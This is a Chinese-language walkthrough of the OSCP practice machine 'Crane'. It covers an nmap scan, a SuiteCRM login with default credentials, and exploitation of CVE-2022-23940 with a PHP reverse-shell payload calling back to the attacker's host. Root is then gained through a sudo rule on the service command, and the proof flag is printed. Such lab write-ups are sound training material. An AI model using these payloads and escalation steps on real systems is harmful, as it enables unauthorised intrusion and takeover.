OSCP靶场–Crane

考点(CVE-2022-23940+sudo service提权)

1.nmap扫描

┌──(root㉿kali)-[~/Desktop]
└─# nmap 192.168.229.146  -sC -sV --min-rate 2500               
Starting Nmap 7.92 ( https://nmap.org ) at 2024-03-25 08:07 EDT
Nmap scan report for 192.168.229.146
Host is up (0.29s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 37:80:01:4a:43:86:30:c9:79:e7:fb:7f:3b:a4:1e:dd (RSA)
|   256 b6:18:a1:e1:98:fb:6c:c6:87:55:45:10:c6:d4:45:b9 (ECDSA)
|_  256 ab:8f:2d:e8:a2:04:e7:b7:65:d3:fe:5e:93:1e:03:67 (ED25519)
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-title: SuiteCRM
|_Requested resource was index.php?action=Login&module=Users
|_http-server-header: Apache/2.4.38 (Debian)
3306/tcp open  mysql   MySQL (unauthorized)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.81 seconds

2.user priv

## admin：admin登陆：
## http://192.168.185.146/## 确认版本：
SuiteCRM
Version 7.12.3
Sugar Version 6.5.25 (Build 344)###############
## 在searchsploit没有查找到exp:
┌──(root㉿kali)-[~/Desktop]
└─# searchsploit suiteCRM               
------------------------------------------------------------------------------------------------------------- ---------------------------------Exploit Title                                                                                               |  Path
------------------------------------------------------------------------------------------------------------- ---------------------------------
SuiteCRM 7.10.7 - 'parentTab' SQL Injection                                                                  | php/webapps/46310.txt
SuiteCRM 7.10.7 - 'record' SQL Injection                                                                     | php/webapps/46311.txt
SuiteCRM 7.11.15 - 'last_name' Remote Code Execution (Authenticated)                                         | php/webapps/49001.py
SuiteCRM 7.11.18 - Remote Code Execution (RCE) (Authenticated) (Metasploit)                                  | php/webapps/50531.rb
------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results###################
## google查找exp:https://github.com/manuelz120/CVE-2022-23940
## 利用：
git clone https://github.com/manuelz120/CVE-2022-23940.git
pip3 install -r "requirements.txt"#### 反弹shell:
┌──(root㉿kali)-[~/Desktop/CVE-2022-23940]
└─# python3 ./exploit.py -h http://192.168.185.146 -u admin -p admin --payload "php -r '\$sock=fsockopen(\"192.168.45.156\", 8080); exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
INFO:CVE-2022-23940:Login did work - Trying to create scheduled report##
┌──(root㉿kali)-[~/Desktop]
└─# nc -nlvp 8080
listening on [any] 8080 ...
connect to [192.168.45.156] from (UNKNOWN) [192.168.185.146] 50736
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("bash")'
www-data@crane:/var/www/html$ whoami
whoami
www-data
www-data@crane:/var/www/html$ 

about确认版本：

3. root priv[sudo service提权]

## 
╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                                               
Matching Defaults entries for www-data on localhost:                                                                                           env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser www-data may run the following commands on localhost:(ALL) NOPASSWD: /usr/sbin/service## 
www-data@crane:/tmp$ sudo service ../../bin/sh
sudo service ../../bin/sh
# id
id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/proof.txt
cat /root/proof.txt
ad1c6fd0e9a245f4dfdd7ab058e77ec7
# 

4.总结：